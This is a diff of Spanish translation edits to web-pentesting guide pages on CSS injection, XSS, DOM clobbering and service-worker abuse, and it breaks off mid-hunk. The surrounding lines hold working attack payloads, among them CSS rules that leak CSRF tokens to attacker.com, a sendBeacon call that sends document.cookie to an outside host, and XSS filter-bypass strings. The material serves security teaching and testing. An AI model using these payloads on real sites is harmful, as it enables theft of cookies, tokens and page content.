@ -23,7 +23,7 @@ Sin embargo, este enfoque enfrenta una limitación al tratar con elementos de en
|
||||
|
||||
#### Bypass para Elementos Ocultos
|
||||
|
||||
Para eludir esta limitación, puedes dirigirte a un elemento hermano posterior utilizando el combinador de hermanos generales `~`. La regla CSS se aplica entonces a todos los hermanos que siguen al elemento de entrada oculto, lo que provoca que la imagen de fondo se cargue:
|
||||
Para eludir esta limitación, puedes dirigirte a un elemento hermano posterior utilizando el combinador de hermanos generales `~`. La regla CSS se aplica entonces a todos los hermanos que siguen al elemento de entrada oculto, haciendo que la imagen de fondo se cargue:
|
||||
```css
|
||||
input[name="csrf"][value^="csrF"] ~ * {
|
||||
background-image: url(https://attacker.com/exfil/csrF);
|
||||
@ -36,7 +36,7 @@ Un ejemplo práctico de explotación de esta técnica se detalla en el fragmento
|
||||
Para que la técnica de inyección de CSS sea efectiva, deben cumplirse ciertas condiciones:
|
||||
|
||||
1. **Longitud de la carga útil**: El vector de inyección de CSS debe soportar cargas útiles suficientemente largas para acomodar los selectores elaborados.
|
||||
2. **Reevaluación de CSS**: Debes tener la capacidad de enmarcar la página, lo cual es necesario para activar la reevaluación de CSS con cargas útiles generadas recientemente.
|
||||
2. **Reevaluación de CSS**: Debes tener la capacidad de enmarcar la página, lo cual es necesario para activar la reevaluación de CSS con cargas útiles recién generadas.
|
||||
3. **Recursos externos**: La técnica asume la capacidad de usar imágenes alojadas externamente. Esto podría estar restringido por la Política de Seguridad de Contenido (CSP) del sitio.
|
||||
|
||||
### Selector de atributo ciego
|
||||
@ -62,7 +62,7 @@ Sin embargo, hay otra técnica ingeniosa que utiliza **CSS `@import`** para mejo
|
||||
|
||||
Esto fue mostrado por primera vez por [**Pepe Vila**](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf) y funciona así:
|
||||
|
||||
En lugar de cargar la misma página una y otra vez con decenas de diferentes payloads cada vez (como en la anterior), vamos a **cargar la página solo una vez y solo con una importación al servidor del atacante** (este es el payload a enviar a la víctima):
|
||||
En lugar de cargar la misma página una y otra vez con decenas de diferentes cargas útiles cada vez (como en la anterior), vamos a **cargar la página solo una vez y solo con una importación al servidor del atacante** (esta es la carga útil que se enviará a la víctima):
|
||||
```css
|
||||
@import url("//attacker.com:5001/start?");
|
||||
```
|
||||
@ -148,9 +148,9 @@ font-family: "poc";
|
||||
- Se crea un elemento `<object>` con `id="poc0"` en la sección `<body>`. Este elemento intenta cargar un recurso desde `http://192.168.0.1/favicon.ico`.
|
||||
- La `font-family` para este elemento se establece en `'poc'`, como se define en la sección `<style>`.
|
||||
- Si el recurso (`favicon.ico`) no se carga, el contenido de respaldo (la letra 'A') dentro de la etiqueta `<object>` se muestra.
|
||||
- El contenido de respaldo ('A') se renderizará utilizando la fuente personalizada `poc` si no se puede cargar el recurso externo.
|
||||
- El contenido de respaldo ('A') se renderizará utilizando la fuente personalizada `poc` si el recurso externo no se puede cargar.
|
||||
|
||||
### Estilizando Fragmento de Texto Scroll-to
|
||||
### Estilizando Fragmento de Texto para Desplazamiento
|
||||
|
||||
La **`:target`** pseudo-clase se emplea para seleccionar un elemento dirigido por un **fragmento de URL**, como se especifica en la [CSS Selectors Level 4 specification](https://drafts.csswg.org/selectors-4/#the-target-pseudo). Es crucial entender que `::target-text` no coincide con ningún elemento a menos que el texto sea explícitamente dirigido por el fragmento.
|
||||
|
||||
@ -160,7 +160,7 @@ Surge una preocupación de seguridad cuando los atacantes explotan la caracterí
|
||||
content: url(target.png);
|
||||
}
|
||||
```
|
||||
En tales escenarios, si el texto "Administrator" está presente en la página, el recurso `target.png` se solicita al servidor, indicando la presencia del texto. Un ejemplo de este ataque se puede ejecutar a través de una URL especialmente diseñada que incrusta el CSS inyectado junto con un fragmento Scroll-to-text:
|
||||
En tales escenarios, si el texto "Administrator" está presente en la página, el recurso `target.png` se solicita al servidor, indicando la presencia del texto. Una instancia de este ataque se puede ejecutar a través de una URL especialmente diseñada que incrusta el CSS inyectado junto con un fragmento Scroll-to-text:
|
||||
```
|
||||
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
|
||||
```
|
||||
@ -174,13 +174,13 @@ Para la mitigación, se deben tener en cuenta los siguientes puntos:
|
||||
|
||||
La conciencia de estos mecanismos y vulnerabilidades potenciales es clave para mantener la seguridad web y protegerse contra tácticas explotadoras.
|
||||
|
||||
Para más información, consulta el informe original: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
|
||||
Para más información, consulte el informe original: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
|
||||
|
||||
Puedes consultar un [**exploit utilizando esta técnica para un CTF aquí**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb).
|
||||
Puede consultar un [**exploit utilizando esta técnica para un CTF aquí**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb).
|
||||
|
||||
### @font-face / unicode-range <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
|
||||
|
||||
Puedes especificar **fuentes externas para valores unicode específicos** que solo serán **recogidos si esos valores unicode están presentes** en la página. Por ejemplo:
|
||||
Puede especificar **fuentes externas para valores unicode específicos** que solo serán **recogidos si esos valores unicode están presentes** en la página. Por ejemplo:
|
||||
```html
|
||||
<style>
|
||||
@font-face {
|
||||
@ -206,7 +206,7 @@ font-family: poc;
|
||||
<p id="sensitive-information">AB</p>
|
||||
htm
|
||||
```
|
||||
Cuando accedes a esta página, Chrome y Firefox obtienen "?A" y "?B" porque el nodo de texto de información sensible contiene los caracteres "A" y "B". Pero Chrome y Firefox no obtienen "?C" porque no contiene "C". Esto significa que hemos podido leer "A" y "B".
|
||||
Cuando accedes a esta página, Chrome y Firefox obtienen "?A" y "?B" porque el nodo de texto de sensitive-information contiene los caracteres "A" y "B". Pero Chrome y Firefox no obtienen "?C" porque no contiene "C". Esto significa que hemos podido leer "A" y "B".
|
||||
|
||||
### Exfiltración de nodos de texto (I): ligaduras <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
|
||||
|
||||
@ -214,13 +214,13 @@ Cuando accedes a esta página, Chrome y Firefox obtienen "?A" y "?B" porque el n
|
||||
|
||||
La técnica descrita implica extraer texto de un nodo aprovechando las ligaduras de fuentes y monitoreando cambios en el ancho. El proceso implica varios pasos:
|
||||
|
||||
1. **Creación de Fuentes Personalizadas**:
|
||||
1. **Creación de fuentes personalizadas**:
|
||||
|
||||
- Se crean fuentes SVG con glifos que tienen un atributo `horiz-adv-x`, que establece un ancho grande para un glifo que representa una secuencia de dos caracteres.
|
||||
- Ejemplo de glifo SVG: `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, donde "XY" denota una secuencia de dos caracteres.
|
||||
- Estas fuentes se convierten a formato woff usando fontforge.
|
||||
|
||||
2. **Detección de Cambios de Ancho**:
|
||||
2. **Detección de cambios de ancho**:
|
||||
|
||||
- Se utiliza CSS para asegurar que el texto no se ajuste (`white-space: nowrap`) y para personalizar el estilo de la barra de desplazamiento.
|
||||
- La aparición de una barra de desplazamiento horizontal, estilizada de manera distinta, actúa como un indicador (oráculo) de que una ligadura específica, y por lo tanto una secuencia de caracteres específica, está presente en el texto.
|
||||
@ -237,7 +237,7 @@ background: url(http://attacker.com/?leak);
|
||||
}
|
||||
```
|
||||
|
||||
3. **Proceso de Explotación**:
|
||||
3. **Proceso de explotación**:
|
||||
|
||||
- **Paso 1**: Se crean fuentes para pares de caracteres con un ancho sustancial.
|
||||
- **Paso 2**: Se emplea un truco basado en la barra de desplazamiento para detectar cuándo se renderiza el glifo de gran ancho (ligadura para un par de caracteres), indicando la presencia de la secuencia de caracteres.
|
||||
|
||||
@ -19,7 +19,7 @@ La idea detrás de este exploit es:
|
||||
- Si las **imágenes** inyectadas en la publicación están siendo **cargadas**, estas **solicitudes fetch** tomarán **más tiempo**, por lo que el atacante sabe que la **publicación está antes de la bandera** (alfabéticamente).
|
||||
- Si las **solicitudes fetch** son **rápidas**, significa que la **publicación** está **alfabéticamente** **después** de la bandera.
|
||||
|
||||
Veamos el código:
|
||||
Vamos a revisar el código:
|
||||
```html
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
|
||||
@ -1,4 +1,4 @@
|
||||
# URL Max Length - Client Side
|
||||
# Longitud del URL Máxima - Lado del Cliente
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
@ -47,7 +47,7 @@ Al intentar explotar un XSS, lo primero que necesitas saber es **dónde se está
|
||||
|
||||
### HTML crudo
|
||||
|
||||
Si tu entrada está **reflejada en el HTML crudo** de la página, necesitarás abusar de alguna **etiqueta HTML** para ejecutar código JS: `<img , <iframe , <svg , <script` ... estas son solo algunas de las muchas etiquetas HTML posibles que podrías usar.\
|
||||
Si tu entrada está **reflejada en el HTML crudo** de la página, necesitarás abusar de alguna **etiqueta HTML** para ejecutar código JS: `<img , <iframe , <svg , <script` ... estas son solo algunas de las muchas posibles etiquetas HTML que podrías usar.\
|
||||
Además, ten en cuenta la [Inyección de Plantilla del Lado del Cliente](../client-side-template-injection-csti.md).
|
||||
|
||||
### Dentro del atributo de etiquetas HTML
|
||||
@ -57,7 +57,7 @@ Si tu entrada está reflejada dentro del valor del atributo de una etiqueta, pod
|
||||
1. **Escapar del atributo y de la etiqueta** (entonces estarás en el HTML crudo) y crear una nueva etiqueta HTML para abusar: `"><img [...]`
|
||||
2. Si **puedes escapar del atributo pero no de la etiqueta** (`>` está codificado o eliminado), dependiendo de la etiqueta podrías **crear un evento** que ejecute código JS: `" autofocus onfocus=alert(1) x="`
|
||||
3. Si **no puedes escapar del atributo** (`"` está siendo codificado o eliminado), entonces dependiendo de **qué atributo** se está reflejando tu valor **si controlas todo el valor o solo una parte**, podrás abusar de ello. Por **ejemplo**, si controlas un evento como `onclick=` podrás hacer que ejecute código arbitrario cuando se haga clic. Otro **ejemplo** interesante es el atributo `href`, donde puedes usar el protocolo `javascript:` para ejecutar código arbitrario: **`href="javascript:alert(1)"`**
|
||||
4. Si tu entrada está reflejada dentro de "**etiquetas no explotables**", podrías intentar el truco del **`accesskey`** para abusar de la vulnerabilidad (necesitarás algún tipo de ingeniería social para explotar esto): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
4. Si tu entrada está reflejada dentro de "**etiquetas no explotables**", podrías intentar el truco del **`accesskey`** para abusar de la vulnerabilidad (necesitarás algún tipo de ingeniería social para explotar esto): **`" accesskey="x" onclick="alert(1)" x="**
|
||||
|
||||
Ejemplo extraño de Angular ejecutando XSS si controlas un nombre de clase:
|
||||
```html
|
||||
@ -143,7 +143,7 @@ server-side-xss-dynamic-pdf.md
|
||||
../../network-services-pentesting/pentesting-web/electron-desktop-apps/
|
||||
{{#endref}}
|
||||
|
||||
## Codificación de bypass de WAF imagen
|
||||
## Bypass de WAF codificando imagen
|
||||
|
||||
.jpg>)
|
||||
|
||||
@ -250,7 +250,7 @@ Si solo piensas que **es imposible crear una etiqueta HTML con un atributo para
|
||||
### Dentro de la etiqueta/escapando del valor del atributo
|
||||
|
||||
Si estás **dentro de una etiqueta HTML**, lo primero que podrías intentar es **escapar** de la etiqueta y usar algunas de las técnicas mencionadas en la [sección anterior](./#injecting-inside-raw-html) para ejecutar código JS.\
|
||||
Si **no puedes escapar de la etiqueta**, podrías crear nuevos atributos dentro de la etiqueta para intentar ejecutar código JS, por ejemplo, usando alguna carga útil como (_nota que en este ejemplo se utilizan comillas dobles para escapar del atributo, no las necesitarás si tu entrada se refleja directamente dentro de la etiqueta_):
|
||||
Si **no puedes escapar de la etiqueta**, podrías crear nuevos atributos dentro de la etiqueta para intentar ejecutar código JS, por ejemplo, usando alguna carga útil como (_ten en cuenta que en este ejemplo se utilizan comillas dobles para escapar del atributo, no las necesitarás si tu entrada se refleja directamente dentro de la etiqueta_):
|
||||
```bash
|
||||
" autofocus onfocus=alert(document.domain) x="
|
||||
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
|
||||
@ -377,7 +377,7 @@ Puede usar **Hex** y **Octal encode** dentro del atributo `src` de `iframe` (al
|
||||
```javascript
|
||||
<a target="_blank" rel="opener"
|
||||
```
|
||||
Si puedes inyectar cualquier URL en una etiqueta **`<a href=`** arbitraria que contenga los atributos **`target="_blank" y rel="opener"`**, verifica la **siguiente página para explotar este comportamiento**:
|
||||
Si puedes inyectar cualquier URL en una etiqueta **`<a href=`** arbitraria que contenga los atributos **`target="_blank" y rel="opener"`**, consulta la **siguiente página para explotar este comportamiento**:
|
||||
|
||||
{{#ref}}
|
||||
../reverse-tab-nabbing.md
|
||||
@ -385,7 +385,7 @@ Si puedes inyectar cualquier URL en una etiqueta **`<a href=`** arbitraria que c
|
||||
|
||||
### Bypass de Controladores de Eventos
|
||||
|
||||
Primero verifica esta página ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) para controladores de eventos **"on"** útiles.\
|
||||
Primero, consulta esta página ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) para obtener útiles **"on" event handlers**.\
|
||||
En caso de que haya alguna lista negra que te impida crear estos controladores de eventos, puedes intentar los siguientes bypasses:
|
||||
```javascript
|
||||
<svg onload%09=alert(1)> //No safari
|
||||
@ -428,9 +428,9 @@ Desde [**aquí**](https://portswigger.net/research/xss-in-hidden-input-fields):
|
||||
```
|
||||
**La carga útil de XSS será algo como esto: `" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
### Bypass de listas negras
|
||||
### Bypass de lista negra
|
||||
|
||||
Varios trucos con el uso de diferentes codificaciones ya se han expuesto dentro de esta sección. Ve **de vuelta para aprender dónde puedes usar:**
|
||||
Varios trucos utilizando diferentes codificaciones ya se han expuesto en esta sección. Ve **de vuelta para aprender dónde puedes usar:**
|
||||
|
||||
- **Codificación HTML (etiquetas HTML)**
|
||||
- **Codificación Unicode (puede ser código JS válido):** `\u0061lert(1)`
|
||||
@ -440,7 +440,7 @@ Varios trucos con el uso de diferentes codificaciones ya se han expuesto dentro
|
||||
|
||||
**Bypasses para etiquetas y atributos HTML**
|
||||
|
||||
Lee los [Bypasses de listas negras de la sección anterior](./#blacklist-bypasses).
|
||||
Lee los [Bypasses de lista negra de la sección anterior](./#blacklist-bypasses).
|
||||
|
||||
**Bypasses para código JavaScript**
|
||||
|
||||
@ -510,7 +510,7 @@ loop``````````````
|
||||
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
|
||||
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
|
||||
```
|
||||
### Ejecución de JS codificada en Unicode
|
||||
### Ejecución de JS con codificación Unicode
|
||||
```javascript
|
||||
alert(1)
|
||||
alert(1)
|
||||
@ -739,7 +739,7 @@ top[8680439..toString(30)](1)
|
||||
## **Vulnerabilidades DOM**
|
||||
|
||||
Hay **código JS** que está utilizando **datos controlados de manera insegura por un atacante** como `location.href`. Un atacante podría abusar de esto para ejecutar código JS arbitrario.\
|
||||
**Debido a la extensión de la explicación de** [**vulnerabilidades DOM, se trasladó a esta página**](dom-xss.md)**:**
|
||||
**Debido a la extensión de la explicación de** [**vulnerabilidades DOM, se movió a esta página**](dom-xss.md)**:**
|
||||
|
||||
{{#ref}}
|
||||
dom-xss.md
|
||||
@ -748,7 +748,7 @@ dom-xss.md
|
||||
Allí encontrarás una **explicación detallada de qué son las vulnerabilidades DOM, cómo se provocan y cómo explotarlas**.\
|
||||
Además, no olvides que **al final del post mencionado** puedes encontrar una explicación sobre [**ataques de DOM Clobbering**](dom-xss.md#dom-clobbering).
|
||||
|
||||
### Mejorando Self-XSS
|
||||
### Mejora de Self-XSS
|
||||
|
||||
### Cookie XSS
|
||||
|
||||
@ -870,7 +870,7 @@ const char* const kSupportedJavascriptTypes[] = {
|
||||
```
|
||||
La respuesta es:
|
||||
|
||||
- **module** (predeterminado, nada que explicar)
|
||||
- **módulo** (predeterminado, nada que explicar)
|
||||
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles es una característica que te permite empaquetar un montón de datos (HTML, CSS, JS…) juntos en un **`.wbn`** archivo.
|
||||
```html
|
||||
<script type="webbundle">
|
||||
@ -900,7 +900,7 @@ import { partition } from "lodash"
|
||||
```
|
||||
Este comportamiento se utilizó en [**este informe**](https://github.com/zwade/yaca/tree/master/solution) para reasignar una biblioteca a eval para abusar de que puede desencadenar XSS.
|
||||
|
||||
- [**reglasdespeculación**](https://github.com/WICG/nav-speculation)**:** Esta función es principalmente para resolver algunos problemas causados por la pre-renderización. Funciona así:
|
||||
- [**reglasdespeculación**](https://github.com/WICG/nav-speculation)**:** Esta función está principalmente destinada a resolver algunos problemas causados por la pre-renderización. Funciona así:
|
||||
```html
|
||||
<script type="speculationrules">
|
||||
{
|
||||
@ -1269,7 +1269,7 @@ Hacer que el usuario navegue en la página sin salir de un iframe y robar sus ac
|
||||
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
|
||||
```
|
||||
> [!NOTE]
|
||||
> No **podrás acceder a las cookies desde JavaScript** si la bandera HTTPOnly está configurada en la cookie. Pero aquí tienes [algunas formas de eludir esta protección](../hacking-with-cookies/#httponly) si tienes la suerte suficiente.
|
||||
> No **podrás acceder a las cookies desde JavaScript** si la bandera HTTPOnly está establecida en la cookie. Pero aquí tienes [algunas formas de eludir esta protección](../hacking-with-cookies/#httponly) si tienes la suerte suficiente.
|
||||
|
||||
### Robar Contenido de la Página
|
||||
```javascript
|
||||
@ -1429,7 +1429,7 @@ shadow-dom.md
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %}
|
||||
|
||||
### Cargas útiles de Blind XSS
|
||||
### Cargas útiles de XSS ciegas
|
||||
|
||||
También puedes usar: [https://xsshunter.com/](https://xsshunter.com)
|
||||
```markup
|
||||
|
||||
@ -53,7 +53,7 @@ var sw =
|
||||
```
|
||||
Hay un **C2** dedicado a la **explotación de Service Workers** llamado [**Shadow Workers**](https://shadow-workers.github.io) que será muy útil para abusar de estas vulnerabilidades.
|
||||
|
||||
La **directiva de caché de 24 horas** limita la vida de un **service worker (SW)** malicioso o comprometido a un máximo de 24 horas después de una corrección de vulnerabilidad XSS, asumiendo el estado en línea del cliente. Para minimizar la vulnerabilidad, los operadores del sitio pueden reducir el Tiempo de Vida (TTL) del script SW. También se aconseja a los desarrolladores crear un [**kill-switch para service workers**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) para una desactivación rápida.
|
||||
La **directiva de caché de 24 horas** limita la vida de un **service worker (SW)** malicioso o comprometido a un máximo de 24 horas después de una corrección de vulnerabilidad XSS, asumiendo el estado de cliente en línea. Para minimizar la vulnerabilidad, los operadores del sitio pueden reducir el Tiempo de Vida (TTL) del script SW. También se aconseja a los desarrolladores crear un [**kill-switch para service workers**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) para una desactivación rápida.
|
||||
|
||||
## Abusando de `importScripts` en un SW a través de DOM Clobbering
|
||||
|
||||
|
||||
@ -4,16 +4,16 @@
|
||||
|
||||
Más detalles [**en este informe**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-spanote).
|
||||
|
||||
La técnica discutida aquí implica entender el comportamiento e interacción de dos tipos principales de caché: la **caché de retroceso/avance (bfcache)** y la **caché de disco**. La bfcache, que almacena una instantánea completa de una página incluyendo el montón de JavaScript, tiene prioridad sobre la caché de disco para las navegaciones de retroceso/avance debido a su capacidad para almacenar una instantánea más completa. La caché de disco, en contraste, almacena recursos obtenidos de la web sin incluir el montón de JavaScript, y se utiliza para las navegaciones de retroceso/avance para reducir los costos de comunicación. Un aspecto interesante de la caché de disco es su inclusión de recursos obtenidos utilizando `fetch`, lo que significa que los recursos de URL accedidos serán renderizados por el navegador desde la caché.
|
||||
La técnica discutida aquí implica entender el comportamiento y la interacción de dos tipos principales de caché: la **caché de retroceso/avance (bfcache)** y la **caché de disco**. La bfcache, que almacena una instantánea completa de una página incluyendo el montón de JavaScript, tiene prioridad sobre la caché de disco para las navegaciones de retroceso/avance debido a su capacidad para almacenar una instantánea más completa. La caché de disco, en contraste, almacena recursos obtenidos de la web sin incluir el montón de JavaScript, y se utiliza para las navegaciones de retroceso/avance para reducir los costos de comunicación. Un aspecto interesante de la caché de disco es su inclusión de recursos obtenidos usando `fetch`, lo que significa que los recursos de URL accedidos serán renderizados por el navegador desde la caché.
|
||||
|
||||
### Puntos Clave:
|
||||
|
||||
- La **bfcache** tiene precedencia sobre la caché de disco en las navegaciones de retroceso/avance.
|
||||
- Para utilizar una página almacenada en la caché de disco en lugar de bfcache, este último debe ser deshabilitado.
|
||||
- Para utilizar una página almacenada en la caché de disco en lugar de la bfcache, esta última debe ser desactivada.
|
||||
|
||||
### Deshabilitando bfcache:
|
||||
### Desactivando bfcache:
|
||||
|
||||
Por defecto, Puppeteer deshabilita bfcache, alineándose con las condiciones listadas en la documentación de Chromium. Un método efectivo para deshabilitar bfcache es a través del uso de `RelatedActiveContentsExist`, logrado al abrir una página con `window.open()` que retiene una referencia a `window.opener`.
|
||||
Por defecto, Puppeteer desactiva bfcache, alineándose con las condiciones listadas en la documentación de Chromium. Un método efectivo para desactivar bfcache es a través del uso de `RelatedActiveContentsExist`, logrado al abrir una página con `window.open()` que retiene una referencia a `window.opener`.
|
||||
|
||||
### Reproduciendo el comportamiento:
|
||||
|
||||
|
||||
@ -21,7 +21,7 @@ Luego, en "Dev Tools" --> "Sources" **selecciona el archivo** que deseas sobresc
|
||||
|
||||
.png>)
|
||||
|
||||
Esto **copiará el archivo JS localmente** y podrás **modificar esa copia en el navegador**. Así que solo agrega el **`debugger;`** donde quieras, **guarda** el cambio y **recarga** la página, y cada vez que accedas a esa página web **tu copia local de JS se cargará** y tu comando de depuración se mantendrá en su lugar:
|
||||
Esto **copiará el archivo JS localmente** y podrás **modificar esa copia en el navegador**. Así que solo agrega el **`debugger;`** donde quieras, **guarda** el cambio y **recarga** la página, y cada vez que accedas a esa página web **tu copia local de JS se cargará** y tu comando de depurador se mantendrá en su lugar:
|
||||
|
||||
.png>)
|
||||
|
||||
|
||||
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## **Conceptos básicos**
|
||||
## **Fundamentos**
|
||||
|
||||
Es posible generar **variables globales dentro del contexto JS** con los atributos **`id`** y **`name`** en las etiquetas HTML.
|
||||
```html
|
||||
@ -54,7 +54,7 @@ alert(x.y) //controlled
|
||||
> [!WARNING]
|
||||
> La etiqueta de estilo se utiliza para **dar suficiente tiempo al iframe para renderizarse**. Sin ella, encontrarás una alerta de **undefined**.
|
||||
|
||||
Para sobrescribir atributos más profundos, puedes usar **iframes con codificación html** de esta manera:
|
||||
Para clobber atributos más profundos, puedes usar **iframes con codificación html** de esta manera:
|
||||
```html
|
||||
<iframe
|
||||
name="a"
|
||||
@ -110,17 +110,17 @@ Puedes [**encontrar un ejemplo de este tipo de clobbering en este CTF writeup**]
|
||||
|
||||
## Clobbering del objeto documento
|
||||
|
||||
Según la documentación, es posible sobrescribir atributos del objeto documento utilizando DOM Clobbering:
|
||||
Según la documentación, es posible sobrescribir atributos del objeto documento usando DOM Clobbering:
|
||||
|
||||
> La interfaz [Document](https://html.spec.whatwg.org/multipage/dom.html#document) [soporta propiedades nombradas](https://webidl.spec.whatwg.org/#dfn-support-named-properties). Los [nombres de propiedades soportados](https://webidl.spec.whatwg.org/#dfn-supported-property-names) de un objeto [Document](https://html.spec.whatwg.org/multipage/dom.html#document) en cualquier momento consisten en lo siguiente, en [orden de árbol](https://dom.spec.whatwg.org/#concept-tree-order) de acuerdo con el elemento que las contribuyó, ignorando duplicados posteriores, y con valores de atributos [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) que vienen antes de los valores de atributos de nombre cuando el mismo elemento contribuye ambos:
|
||||
> La [Document](https://html.spec.whatwg.org/multipage/dom.html#document) interface [soporta propiedades nombradas](https://webidl.spec.whatwg.org/#dfn-support-named-properties). Los [nombres de propiedades soportados](https://webidl.spec.whatwg.org/#dfn-supported-property-names) de un [Document](https://html.spec.whatwg.org/multipage/dom.html#document) objeto documento en cualquier momento consisten en lo siguiente, en [orden de árbol](https://dom.spec.whatwg.org/#concept-tree-order) de acuerdo con el elemento que las contribuyó, ignorando duplicados posteriores, y con valores de atributos [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) que vienen antes de los valores de atributos de nombre cuando el mismo elemento contribuye ambos:
|
||||
>
|
||||
> \- El valor del atributo de contenido name para todos los elementos [expuestos](https://html.spec.whatwg.org/multipage/dom.html#exposed) [embed](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element), [form](https://html.spec.whatwg.org/multipage/forms.html#the-form-element), [iframe](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element), [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element), y [expuestos](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) que tienen un atributo de contenido name no vacío y están [en un árbol de documentos](https://dom.spec.whatwg.org/#in-a-document-tree) con documento como su [raíz](https://dom.spec.whatwg.org/#concept-tree-root);\
|
||||
> \- El valor del atributo de contenido name para todos los [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [embed](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element), [form](https://html.spec.whatwg.org/multipage/forms.html#the-form-element), [iframe](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element), [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element), y [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) elementos que tienen un atributo de contenido name no vacío y están [en un árbol de documentos](https://dom.spec.whatwg.org/#in-a-document-tree) con documento como su [raíz](https://dom.spec.whatwg.org/#concept-tree-root);\
|
||||
> \
|
||||
> \- El valor del atributo de contenido [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) para todos los elementos [expuestos](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) que tienen un atributo de contenido [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) no vacío y están [en un árbol de documentos](https://dom.spec.whatwg.org/#in-a-document-tree) con documento como su [raíz](https://dom.spec.whatwg.org/#concept-tree-root);\
|
||||
> \- El valor del atributo de contenido [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) para todos los [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) elementos que tienen un atributo de contenido [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) no vacío y están [en un árbol de documentos](https://dom.spec.whatwg.org/#in-a-document-tree) con documento como su [raíz](https://dom.spec.whatwg.org/#concept-tree-root);\
|
||||
> \
|
||||
> \- El valor del atributo de contenido [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) para todos los elementos [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) que tienen tanto un atributo de contenido [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) no vacío como un atributo de contenido name no vacío, y están [en un árbol de documentos](https://dom.spec.whatwg.org/#in-a-document-tree) con documento como su [raíz](https://dom.spec.whatwg.org/#concept-tree-root).
|
||||
> \- El valor del atributo de contenido [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) para todos los [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) elementos que tienen tanto un atributo de contenido [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) no vacío como un atributo de contenido name no vacío, y están [en un árbol de documentos](https://dom.spec.whatwg.org/#in-a-document-tree) con documento como su [raíz](https://dom.spec.whatwg.org/#concept-tree-root).
|
||||
|
||||
Usando esta técnica, puedes sobrescribir **valores comúnmente utilizados como `document.cookie`, `document.body`, `document.children`**, e incluso métodos en la interfaz Document como `document.querySelector`.
|
||||
Usando esta técnica, puedes sobrescribir **valores comúnmente usados como `document.cookie`, `document.body`, `document.children`**, e incluso métodos en la interfaz Document como `document.querySelector`.
|
||||
```javascript
|
||||
document.write("<img name=cookie />")
|
||||
|
||||
@ -208,7 +208,7 @@ Es posible agregar **nuevas entradas dentro de un formulario** simplemente **esp
|
||||
Click to send!
|
||||
</button>
|
||||
```
|
||||
- Para más atributos de formulario en [**botón consulta esto**](https://www.w3schools.com/tags/tag_button.asp)**.**
|
||||
- Para más atributos de formulario en [**button check this**](https://www.w3schools.com/tags/tag_button.asp)**.**
|
||||
|
||||
## Referencias
|
||||
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## DOM Invader
|
||||
|
||||
DOM Invader es una herramienta del navegador instalada en el navegador integrado de Burp. Ayuda en **la detección de vulnerabilidades DOM XSS** utilizando varias fuentes y sumideros, incluidos mensajes web y contaminación de prototipos. La herramienta está preinstalada como una extensión.
|
||||
